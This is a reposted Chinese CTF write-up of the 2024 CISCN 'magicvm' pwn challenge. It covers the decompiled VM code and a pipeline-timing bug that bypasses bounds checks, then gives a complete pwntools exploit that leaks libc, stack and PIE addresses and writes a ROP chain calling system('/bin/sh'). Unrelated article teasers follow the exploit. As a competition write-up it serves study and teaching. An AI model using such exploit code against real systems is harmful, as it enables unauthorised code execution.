2024 cicsn magicvm

文章目錄

  • 參考
  • 檢查
  • 逆向
    • vm::run
    • vm::vm
    • vm_alu::set_input
    • vm_mem::set_input
    • vm_id::run
    • vm_alu::run
    • vm_mem::run
  • 漏洞
  • 思路
  • 參考的exp

參考

https://forum.butian.net/share/3048
https://akaieurus.github.io/2024/05/20/2024%E5%9B%BD%E8%B5%9B%E5%88%9D%E8%B5%9Bpwn-wp/#SuperHeap

檢查

在這里插入圖片描述

逆向

vm::run

__int64 __fastcall vm::run(vm *my_vm)
{__int64 v1; // raxint v3; // [rsp+1Ch] [rbp-4h]while ( 1 ){vm_alu::set_input(my_vm->vm_alu, my_vm);vm_mem::set_input(my_vm->vm_mem, my_vm);my_vm->pc += (int)vm_id::run(my_vm->vm_id, my_vm);// 識別當前指令并返回長度v3 = vm_alu::run(my_vm->vm_alu, my_vm);     // 執行當前指令,得到臨時結果vm_mem::run(my_vm->vm_mem);                 // 將結果轉換到對應的位置中去if ( !v3 )break;if ( v3 == -1 ){v1 = std::operator<<<std::char_traits<char>>(&std::cout, "SOME STHING WRONG!!");std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);exit(0);}}return 0LL;
}

vm::vm

void __fastcall vm::vm(vm *my_vm)
{struct vm_id *vm_id; // raxstruct vm_alu *vm_alu; // raxvm_mem *v3; // rax__int64 i; // rdxmy_vm->code_base = mmap(0LL, 0x6000uLL, 3, 34, -1, 0LL);my_vm->data_base = my_vm->code_base + 0x2000LL;my_vm->stack_base = my_vm->data_base + 0x3000LL;my_vm->data_size = 0x3000LL;my_vm->code_size = 0x2000LL;my_vm->stack_size = 0x1000LL;vm_id = (struct vm_id *)operator new(0x28uLL);LODWORD(vm_id->isvalid_id) = 0;vm_id->opcode = 0LL;vm_id->optype = 0LL;vm_id->arg1 = 0LL;vm_id->arg2 = 0LL;my_vm->vm_id = vm_id;vm_alu = (struct vm_alu *)operator new(0x50uLL);*(_OWORD *)&vm_alu->isvali_id = 0LL;*(_OWORD *)&vm_alu->optype = 0LL;*(_OWORD *)&vm_alu->arg2 = 0LL;*(_OWORD *)&vm_alu->content_change_addr = 0LL;*(_OWORD *)&vm_alu->stack_ptr_addr = 0LL;my_vm->vm_alu = vm_alu;v3 = (vm_mem *)operator new(0x28uLL);v3->is_valid = 0;v3->value_to_addr_time = 0;for ( i = 0LL; ; ++i ){v3->val_to_ad[i].addr = 0LL;v3->val_to_ad[i].value = 0LL;if ( i == 1 )break;}my_vm->vm_mem = v3;
}

vm_alu::set_input

vm_alu *__fastcall vm_alu::set_input(vm_alu *my_vm_alu, vm *my_vm)
{vm_id *vm_id; // rdxvm_alu *result; // rax__int64 opcode; // rbx__int64 arg1; // rbxvm_id = my_vm->vm_id;result = my_vm_alu;opcode = vm_id->opcode;my_vm_alu->isvali_id = vm_id->isvalid_id;my_vm_alu->opcode = opcode;arg1 = vm_id->arg1;my_vm_alu->optype = vm_id->optype;my_vm_alu->arg1 = arg1;my_vm_alu->arg2 = vm_id->arg2;return result;
}

vm_mem::set_input

vm_mem *__fastcall vm_mem::set_input(vm_mem *my_vm_men, vm *my_vm)
{vm_alu *vm_alu; // rdxvm_mem *result; // rax_QWORD *content_change_addr; // rbx_QWORD *stack_ptr_addr; // rbxvm_alu = my_vm->vm_alu;result = my_vm_men;content_change_addr = vm_alu->content_change_addr;*(_QWORD *)&my_vm_men->is_valid = *(_QWORD *)&vm_alu->isvalid_alu;my_vm_men->val_to_ad[0].addr = content_change_addr;stack_ptr_addr = vm_alu->stack_ptr_addr;my_vm_men->val_to_ad[0].value = vm_alu->alu_result;my_vm_men->val_to_ad[1].addr = stack_ptr_addr;my_vm_men->val_to_ad[1].value = vm_alu->stack_ptr_after_change;return result;
}

vm_id::run

__int64 __fastcall vm_id::run(vm_id *my_vm_id, vm *my_vm)
{char *my_vm_pc; // raxchar *optype_pc_1; // raxint v4; // eaxchar *first_value_pc_1; // raxchar *first_value_pc_2; // raxint v7; // eaxchar *optype_pc_2; // raxchar opcode; // [rsp+18h] [rbp-18h]char optype; // [rsp+19h] [rbp-17h]char first_value; // [rsp+1Ah] [rbp-16h]char first_value_1; // [rsp+1Ah] [rbp-16h]char second_valuea; // [rsp+1Ah] [rbp-16h]char second_valueb; // [rsp+1Ah] [rbp-16h]char value1; // [rsp+1Ah] [rbp-16h]char optype_1; // [rsp+1Bh] [rbp-15h]unsigned int change_pc; // [rsp+1Ch] [rbp-14h]_BYTE *optype_pc; // [rsp+20h] [rbp-10h]char *arg_value_pc; // [rsp+20h] [rbp-10h]char *value1_pc; // [rsp+20h] [rbp-10h]my_vm_pc = (char *)(my_vm->code_base + my_vm->pc);// 指令位置指針,按字節識別optype_pc = my_vm_pc + 1;opcode = *my_vm_pc;change_pc = 1;if ( *my_vm_pc <= 0 || opcode > 8 ){if ( opcode <= 8 || opcode > 10 ){if ( opcode && opcode != 11 ){my_vm_id->opcode = -1LL;}else{my_vm_id->opcode = opcode;              // 11 nop指令my_vm_id->optype = 0LL;my_vm_id->arg1 = 0LL;my_vm_id->arg2 = 0LL;}}else{                                           // 9-10 push popoptype_pc_2 = my_vm_pc + 1;value1_pc = optype_pc + 1;optype_1 = *optype_pc_2;change_pc = 2;my_vm_id->optype = *optype_pc_2;if ( (optype_1 & 3) == 2 )                // value為reg的標號{change_pc = 3;value1 = *value1_pc;if ( vm_id::check_regs(my_vm_id, *value1_pc, my_vm) )// 檢查標號是否小于等于3{my_vm_id->opcode = opcode;my_vm_id->arg1 = value1;my_vm_id->arg2 = 0LL;}else                                    // 否則標號越界,錯誤{my_vm_id->opcode = -1LL;}}else                                      //  optype只能為寄存器類型,否則錯誤{my_vm_id->opcode = -1LL;}if ( (my_vm->stack_ptr & 7LL) != 0 )      // 八對齊,否則錯誤my_vm_id->opcode = -1LL;if ( opcode == 9 )                        // stack_ptr從零開始,相對地址從stack_base{if ( my_vm->stack_ptr >= my_vm->stack_size || my_vm->stack_ptr <= 7uLL )my_vm_id->opcode = -1LL;              // push的話要判斷stack_ptr還有多余的8可以減去,并且要在stack_size里面,從零開始}else if ( (unsigned __int64)(my_vm->stack_size - 8LL) < my_vm->stack_ptr ){                                         // pop的話判斷stack_ptr+8不會超過stack_size上界my_vm_id->opcode = -1LL;}}}else                                          // 1-8{optype_pc_1 = my_vm_pc + 1;arg_value_pc = optype_pc + 1;optype = *optype_pc_1;change_pc = 2;my_vm_id->optype = *optype_pc_1;v4 = optype & 3;if ( v4 == 2 )                              // value是寄存器下標{change_pc = 3;first_value_pc_1 = arg_value_pc++;        // 殺千刀的,這里的值是+之前的first_value = *first_value_pc_1;if ( vm_id::check_regs(my_vm_id, *first_value_pc_1, my_vm) ){my_vm_id->opcode = opcode;my_vm_id->arg1 = first_value;}else{my_vm_id->opcode = -1LL;}}else if ( v4 == 3 )                         // value也是寄存器下標,要檢查寄存器中值是否超過地址界限{change_pc = 3;first_value_pc_2 = arg_value_pc++;first_value_1 = *first_value_pc_2;if ( vm_id::check_addr(my_vm_id, my_vm->regist[*first_value_pc_2], my_vm) ){my_vm_id->opcode = opcode;my_vm_id->arg1 = first_value_1;}else{my_vm_id->opcode = -1LL;}}else{my_vm_id->opcode = -1LL;}if ( my_vm_id->opcode != -1LL ){v7 = (optype >> 2) & 3;if ( v7 == 3 ){                                         // 參數是寄存器的下標++change_pc;second_valueb = *arg_value_pc;if ( vm_id::check_addr(my_vm_id, my_vm->regist[*arg_value_pc], my_vm) )my_vm_id->arg2 = second_valueb;elsemy_vm_id->opcode = -1LL;}else{if ( ((optype >> 2) & 3u) > 3 )         // 類型大于3不存在{
LABEL_25:my_vm_id->opcode = -1LL;goto LABEL_45;}if ( v7 == 1 )                          // 參數是立即數{change_pc += 8;                       // pc要變化八個字節,八個字節存立即數my_vm_id->arg2 = *(_QWORD *)arg_value_pc;}else{if ( v7 != 2 )goto LABEL_25;++change_pc;                          // 是寄存器second_valuea = *arg_value_pc;if ( vm_id::check_regs(my_vm_id, *arg_value_pc, my_vm) )my_vm_id->arg2 = second_valuea;elsemy_vm_id->opcode = -1LL;}}}}
LABEL_45:LODWORD(my_vm_id->isvalid_id) = 1;return change_pc;
}
_BOOL8 __fastcall vm_id::check_regs(vm_id *this, unsigned __int64 a2, vm *a3)
{return a2 <= 3;
}
_BOOL8 __fastcall vm_id::check_addr(vm_id *this, unsigned __int64 a2, vm *a3)
{return a3->data_size - 8LL >= a2;             // 地址少八,是因為地址內容是包括后面的八個字節內容
}

vm_alu::run

__int64 __fastcall vm_alu::run(vm_alu *my_vm_alu, vm *my_vm)
{__int64 arg2_type; // rax__int64 arg1_type; // raxunsigned __int64 opcode; // raxif ( !LODWORD(my_vm_alu->isvali_id) )return 1LL;if ( my_vm_alu->opcode && my_vm_alu->opcode <= 8uLL ){arg2_type = (my_vm_alu->optype >> 2) & 3LL;if ( arg2_type == 3 ){                                           // 參數為寄存器存的地址的值my_vm_alu->arg2 = *(_QWORD *)(my_vm->data_base + my_vm->regist[my_vm_alu->arg2]);}else if ( arg2_type != 1 ){if ( arg2_type != 2 )return 0xFFFFFFFFLL;my_vm_alu->arg2 = my_vm->regist[my_vm_alu->arg2];// 寄存器存的值}arg1_type = my_vm_alu->optype & 3LL;if ( arg1_type == 2 ){my_vm_alu->value_to_addr_time = 1;        // 只要修改一次地址的內容my_vm_alu->content_change_addr = &my_vm->regist[my_vm_alu->arg1];// 存儲寄存器的值在vm結構體里的地址my_vm_alu->arg1 = my_vm->regist[my_vm_alu->arg1];}else{if ( arg1_type != 3 )return 0xFFFFFFFFLL;if ( (my_vm_alu->optype & 0xCLL) == 12 )return 0xFFFFFFFFLL;my_vm_alu->value_to_addr_time = 1;my_vm_alu->content_change_addr = (_QWORD *)(my_vm->data_base + my_vm->regist[my_vm_alu->arg1]);// 存儲參數所在地址my_vm_alu->arg1 = *(_QWORD *)(my_vm->data_base + my_vm->regist[my_vm_alu->arg1]);// 存儲地址的參數內容}switch ( my_vm_alu->opcode ){case 1LL:my_vm_alu->alu_result = my_vm_alu->arg2 + my_vm_alu->arg1;break;case 2LL:my_vm_alu->alu_result = my_vm_alu->arg1 - my_vm_alu->arg2;break;case 3LL:my_vm_alu->alu_result = my_vm_alu->arg1 << my_vm_alu->arg2;break;case 4LL:my_vm_alu->alu_result = my_vm_alu->arg1 >> my_vm_alu->arg2;break;case 5LL:my_vm_alu->alu_result = my_vm_alu->arg2;break;case 6LL:my_vm_alu->alu_result = my_vm_alu->arg2 & my_vm_alu->arg1;break;case 7LL:my_vm_alu->alu_result = my_vm_alu->arg2 | my_vm_alu->arg1;break;case 8LL:my_vm_alu->alu_result = my_vm_alu->arg2 ^ my_vm_alu->arg1;break;default:goto exit;}goto exit;}opcode = my_vm_alu->opcode;if ( opcode == 11 ){my_vm_alu->isvalid_alu = 0;return 1LL;}if ( opcode > 0xB )                           // 大于11無效opcodereturn 0xFFFFFFFFLL;if ( opcode == 10 )                           // pop{my_vm_alu->value_to_addr_time = 2;my_vm_alu->content_change_addr = &my_vm->regist[my_vm_alu->arg1];// 得到寄存器內容的地址,pop會修改寄存器my_vm_alu->alu_result = *(_QWORD *)(my_vm->stack_base + my_vm->stack_ptr);my_vm_alu->stack_ptr_addr = &my_vm->stack_ptr;my_vm_alu->stack_ptr_after_change = my_vm->stack_ptr + 8LL;goto exit;}if ( !opcode ){my_vm_alu->isvalid_alu = 0;return 0LL;}if ( opcode != 9 )return 0xFFFFFFFFLL;my_vm_alu->value_to_addr_time = 2;            // pushmy_vm_alu->content_change_addr = (_QWORD *)(my_vm->stack_base + my_vm->stack_ptr - 8LL);my_vm_alu->alu_result = my_vm->regist[my_vm_alu->arg1];my_vm_alu->stack_ptr_addr = &my_vm->stack_ptr;my_vm_alu->stack_ptr_after_change = my_vm->stack_ptr - 8LL;
exit:my_vm_alu->isvalid_alu = 1;return 1LL;
}

vm_mem::run

__int64 __fastcall vm_mem::run(vm_mem *my_vm_men)
{__int64 result; // raxint i; // [rsp+1Ch] [rbp-4h]result = (unsigned int)my_vm_men->is_valid;   // alu是否成功執行if ( (_DWORD)result ){for ( i = 0; ; ++i ){result = (unsigned int)my_vm_men->value_to_addr_time;// 第一次賦值改變的寄存器// 第二次賦值改變棧地址if ( i >= (int)result )break;*my_vm_men->val_to_ad[i].addr = my_vm_men->val_to_ad[i].value;// 賦值}}return result;
}

漏洞

存在延遲,有個依賴關系,各個結構體的isvalid變量,代表前一步是否執行完
分為三個階段

  • 解析得到vid(存在檢查,寄存器的標號和寄存器存儲的內容(訪問的地址)不能超過data_size)
  • 執行得到alu
  • 改變值得到mem

vid和改變值不是立即發生的,解析得到vid之后改變參數值(之前的指令到達mem步),那么就可以繞過vid中對參數的檢查

思路

  • 任意地址寫通過寄存器存儲:你要寫的地址-database的值,然后通過mem方式mov [寄存器+database], 值或寄存器 就可以將值寫入任意地址
  • 任意地址讀也差不多,寄存器存儲:你要讀的地址-database的值,然后通過mem方式mov 寄存器,[寄存器+database],然后寄存器就是你要讀的地址里的內容了

泄露libc地址
在這里插入圖片描述
在這里插入圖片描述

泄露database的地址
在這里插入圖片描述
泄露environ地址
在這里插入圖片描述
在這里插入圖片描述
得到environ內的棧地址

在這里插入圖片描述
得到對應的返回地址
在這里插入圖片描述
泄露pie地址
在這里插入圖片描述
得到pie基地址
在這里插入圖片描述
控制到database在vm上的位置
在這里插入圖片描述
往database在vm結構體所在地址寫入棧的返回地址所在地址
在這里插入圖片描述
寫入ret
在這里插入圖片描述
寫入pop rdi ret
在這里插入圖片描述
寫入/bin/sh
在這里插入圖片描述
寫入system地址
在這里插入圖片描述
最后沒有指令可以執行vm::run退出會執行之前寫入的rop,最后這里加個ret是system執行時候對齊
在這里插入圖片描述
結果
在這里插入圖片描述

參考的exp

from pwn import *
context.log_level='debug'
context.os='linux'
context.arch='amd64'def inst():return 1def mem():return 3def reg():return 2def args(flag1,flag2,arg1,arg2):var=(flag1|(flag2<<2)).to_bytes(1,'little')+arg1.to_bytes(1,'little')if flag2==1:return var+p64(arg2)else:return var+arg2.to_bytes(1,'little')def arg(flag,arg):var=flag.to_bytes(1,'little')if flag==1:return var+p64(arg)else:return var+arg.to_bytes(1,'little')def add(arg):return b'\x01'+argdef sub(arg):return b'\x02'+argdef rshift(arg):return b'\x03'+argdef lshift(arg):return b'\x04'+argdef mov(arg):return b'\x05'+argdef andd(arg):return b'\x06'+argdef orr(arg):return b'\x07'+argdef xor(arg):return b'\x08'+argdef pop(arg):return b'\x09'+argdef push(arg):return b'\x0a'+argdef nop():return b'\x0b'p=process('./pwn')
libc=ELF('./libc.so.6')# libcbase
code=mov(args(reg(),inst(),0,0x27ff8))
code+=nop()
code+=mov(args(reg(),mem(),1,0))
code+=nop()
code+=sub(args(reg(),inst(),1,0x459a0))
code+=nop()# gap
code+=mov(args(reg(),inst(),0,0))
code+=nop()
code+=nop()# membase
code+=mov(args(reg(),inst(),0,0x28020))
code+=nop()
code+=mov(args(reg(),mem(),2,0))
code+=nop()
code+=sub(args(reg(),inst(),2,0xc040))
code+=nop()# gap
code+=mov(args(reg(),inst(),0,0))
code+=nop()
code+=nop()# save libcbase membase
code+=mov(args(mem(),reg(),0,1))
code+=nop()
code+=mov(args(reg(),inst(),0,8))
code+=nop()
code+=mov(args(mem(),reg(),0,2))
code+=nop()# stack cal
code+=mov(args(reg(),inst(),0,0x222200))
code+=nop()
code+=add(args(reg(),reg(),1,0))
code+=nop()
code+=sub(args(reg(),reg(),1,2))
code+=nop()# gap
code+=mov(args(reg(),inst(),0,0))
code+=nop()
code+=nop()# stack
code+=mov(args(reg(),reg(),0,1))
code+=nop()
code+=mov(args(reg(),mem(),1,0))
code+=nop()
code+=sub(args(reg(),inst(),1,0x130))
code+=nop()# gap
code+=mov(args(reg(),inst(),0,0))
code+=nop()
code+=nop()# pie
code+=mov(args(reg(),reg(),3,1))
code+=nop()
code+=sub(args(reg(),reg(),3,2))
code+=nop()
code+=mov(args(reg(),reg(),0,3))
code+=nop()
code+=mov(args(reg(),mem(),3,0))
code+=nop()
code+=sub(args(reg(),inst(),3,0x1ddd))
code+=nop()
code+=add(args(reg(),inst(),3,0x4200-8))
code+=nop()# gap
code+=mov(args(reg(),inst(),0,0))
code+=nop()
code+=nop()# change membase
code+=sub(args(reg(),reg(),3,2))
code+=nop()
code+=mov(args(reg(),mem(),2,0))
code+=nop()
code+=mov(args(reg(),reg(),0,3))
code+=nop()
code+=mov(args(mem(),reg(),0,1))
code+=nop()# gap
code+=mov(args(reg(),inst(),3,0))
code+=nop()
code+=nop()rdi=0x2a3e5
ret=0x29139
bin_sh=next(libc.search(b'/bin/sh\x00'))
system=libc.symbols['system']
# rop
code+=mov(args(reg(),reg(),1,2))
code+=nop()
code+=add(args(reg(),inst(),1,ret))
code+=nop()
code+=mov(args(reg(),inst(),3,0))
code+=nop()
code+=mov(args(mem(),reg(),3,1))
code+=nop()code+=mov(args(reg(),reg(),1,2))
code+=nop()
code+=add(args(reg(),inst(),1,rdi))
code+=nop()
code+=mov(args(reg(),inst(),3,8))
code+=nop()
code+=mov(args(mem(),reg(),3,1))
code+=nop()code+=mov(args(reg(),reg(),1,2))
code+=nop()
code+=add(args(reg(),inst(),1,bin_sh))
code+=nop()
code+=mov(args(reg(),inst(),3,0x10))
code+=nop()
code+=mov(args(mem(),reg(),3,1))
code+=nop()code+=mov(args(reg(),reg(),1,2))
code+=nop()
code+=add(args(reg(),inst(),1,system))
code+=nop()
code+=mov(args(reg(),inst(),3,0x18))
code+=nop()
code+=mov(args(mem(),reg(),3,1))
code+=nop()# end
code+=nop()
code+=nop()#gdb.attach(p)
p.sendafter(b'plz input your vm-code\n',code)
p.interactive()

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/bicheng/21448.shtml
繁體地址,請注明出處:http://hk.pswp.cn/bicheng/21448.shtml
英文地址,請注明出處:http://en.pswp.cn/bicheng/21448.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

9個輕量化的效率神器,保證你100%用得上

給你推薦9個輕量化的效率神器&#xff0c;保證你100%用得上。 首先介紹uTools的3個效率技巧 快速啟動 想要快速打開一個應用&#xff0c;不用去一堆的應用圖標里面去尋找&#xff0c;直接按下快捷鍵&#xff0c;輸入應用的名稱或首字母&#xff0c;便可以找到應用&#xff0…

GNeRF論文理解

文章目錄 主要解決什么問題&#xff1f;結構設計以及為什么有效果&#xff1f;個人想法。 主要解決什么問題&#xff1f; 本文主要想要解決的問題是 如何使用uncalibrated的照片來進行Nerf重建。雖然說現在已經有了一些方式可以對相機位姿進行估計和優化&#xff0c;但是他們限…

journal日志管理

1、systemd-journald詳解 systemd-journald日志默認保存在/run/log/journal中&#xff0c;重啟會被清楚&#xff0c;如果存在/var/log/journal目錄&#xff0c;systemd-journald日志會自動改為記入在這個目錄中&#xff0c;同時日志輪轉也會啟動&#xff0c;日志輪狀每月啟動&…

如何通過網站封裝App工具輕松創建移動應用

想象一下&#xff1a;將您的網站變成App 大多數網站管理員和開發人員多多少少都曾夢想過將自己的網站變成一款移動應用。傳統的App開發過程不僅繁瑣&#xff0c;還需要耗費大量的時間和資源。好消息是&#xff0c;現在有了網站封裝App工具&#xff0c;這一切都變得簡單了。您只…

HashMap 隨記

HashMap 構造器 HashMap 共有四個構造器&#xff1a; public HashMap(int initialCapacity, float loadFactor) {// 對于傳入的初始容量&#xff08;loadFactor&#xff09; 及 負載因子&#xff08;loadFactor&#xff09;的一些邊界判斷if (initialCapacity < 0) throw n…

Android Audio基礎——音頻配置xml文件加載(七)

通過前面的文章&#xff0c;我們知道在 AudioPolicyManager 初始化的時候回調用 loadConfig() 方法去加載 Audio 相關的配置信息&#xff0c;這里我們就來詳細看一下。 一、配置文件加載 1、AudioPolicyManager 源碼位置&#xff1a;/frameworks/av/services/audiopolicy/ma…

將下拉彈層渲染節點固定在觸發器的父元素中

將下拉彈層渲染節點固定在觸發器的父元素中 注意: 如果發現下拉菜單跟隨頁面滾動&#xff0c;或者需要在其他彈層中觸發 Select&#xff0c; 請嘗試使用 getPopupContainer{triggerNode > triggerNode.parentElement} 將下拉彈層渲染節點固定在觸發器的父元素中。

【MySQL】探索 MySQL 的 GROUP_CONCAT 函數

緣分讓我們相遇亂世以外 命運卻要我們危難中相愛 也許未來遙遠在光年之外 我愿守候未知里為你等待 我沒想到為了你我能瘋狂到 山崩海嘯沒有你根本不想逃 我的大腦為了你已經瘋狂到 脈搏心跳沒有你根本不重要 &#x1f3b5; 鄧紫棋《光年之外》 什么是 GRO…

遺傳算法與應用分析

遺傳算法的概念 簡單來說&#xff0c;遺傳算法&#xff08;Genetic Algorithm&#xff0c;GA&#xff09;是一種模擬自然進化過程的優化算法。它通過模擬生物進化的遺傳機制&#xff0c;通過選擇、交叉和變異等操作&#xff0c;逐代優化搜索空間中的解。遺傳算法最初由約翰霍蘭…

【面試題-001】什么是面向對象?

文章目錄 什么是面向對象&#xff1f;與面向過程的區別&#xff1f;哪些語言是面向對象 哪些是面向過程&#xff1f; 什么是面向對象&#xff1f; 面向對象&#xff08;Object-oriented&#xff09;是一種程序設計范例&#xff0c;它通過將數據與對數據操作的函數&#xff08;…

V90 PN伺服驅動器附加報文750詳細使用介紹(算法分析)

1、V90PN伺服驅動器轉矩控制(750報文) V90 PN伺服驅動器轉矩控制(750報文)_v90pn轉矩控制-CSDN博客文章瀏覽閱讀3.4k次,點贊2次,收藏3次。主要介紹通過標準報文加附加報文 750 實現發送驅動報文的控制字、速度給定、轉矩限幅及附加轉矩給定的功能,首先就是V90在博途環境下…

算法學習筆記——對數器

對數器 對數器的實現&#xff1a; 你想要測的方法a&#xff08;最優解&#xff09;實現復雜度不好但是容易實現的方法b&#xff08;暴力解&#xff09;實現一個隨機樣本產生器&#xff08;長度也隨機、值也隨機&#xff09;把方法a和方法b跑相同的輸入樣本&#xff0c;看看得…

分享5款.NET開源免費的Redis客戶端組件庫

前言 今天大姚給大家分享5款.NET開源、免費的Redis客戶端組件庫&#xff0c;希望可以幫助到有需要的同學。 StackExchange.Redis StackExchange.Redis是一個基于.NET的高性能Redis客戶端&#xff0c;提供了完整的Redis數據庫功能支持&#xff0c;并且具有多節點支持、異步編…

總結2024/6/3

省流&#xff0c;藍橋杯國優&#xff0c;還是太菜了&#xff0c;聽說都是板子題但是還是寫不出來&#xff0c;靠暴力好歹沒有爆0&#xff0c;還是得多練&#xff0c;明年加油了

JWT 簽名用對稱加密還是非對稱加密?

一 概念梳理 對稱加密和非對稱加密是兩種基本的加密方法&#xff0c;它們在現代密碼學中扮演著核心角色&#xff0c;用于保護數據的安全和隱私。 1.1 對稱加密&#xff08;Symmetric Encryption&#xff09; 對稱加密是指加密和解密使用同一個密鑰的過程。這意味著發送方和接…

!力扣 108. 將有序數組轉換為二叉搜索樹

給你一個整數數組 nums &#xff0c;其中元素已經按升序排列&#xff0c;請你將其轉換為一棵 平衡二叉搜索樹。 示例 1&#xff1a; 輸入&#xff1a;nums [-10,-3,0,5,9] 輸出&#xff1a;[0,-3,9,-10,null,5] 解釋&#xff1a;[0,-10,5,null,-3,null,9] 也將被視為正確答案…

封裝了一個使用UICollectionViewLayout 實現的吸附居左banner圖

首先查看效果圖 實現的原理就是通過自定義UICollectionView layout&#xff0c;然后 設置減速速率是快速就可以達到吸附的效果 _collectionView.decelerationRate UIScrollViewDecelerationRateFast; 下面貼出所有代碼 這里是.h // // LBMiddleExpandLayout.h // Liubo…

文章解讀與仿真程序復現思路——電力系統自動化EI\CSCD\北大核心《具有源荷不平衡特性的配電網智能軟開關和儲能聯合規劃》

本專欄欄目提供文章與程序復現思路&#xff0c;具體已有的論文與論文源程序可翻閱本博主免費的專欄欄目《論文與完整程序》 論文與完整源程序_電網論文源程序的博客-CSDN博客https://blog.csdn.net/liang674027206/category_12531414.html 電網論文源程序-CSDN博客電網論文源…

CTF_RE學習

學了一個 map&#xff08;&#xff09;函數的使用 import base64rawData "e3nifIH9b_CndH" target list(map(ord, rawData)) # map 函數將 rawData 中的每個字符傳遞給 ord 函數。ord 函數返回給定字符的 Unicode 碼點 print(target) # 打印 map 對象的內存地址&…

汽車線束搭鐵與接地

一、搭鐵與接地的概念 首先在這里解釋一下“搭鐵”與“接地”的概念&#xff0c;不要混為一團&#xff01; 先說接地&#xff0c;大地是可導電的&#xff0c;其電位通常取為零。電力系統和電氣裝置的中性點、電氣設備的外露導電部分及裝置外導電部分通過導體與大地相連&#xf…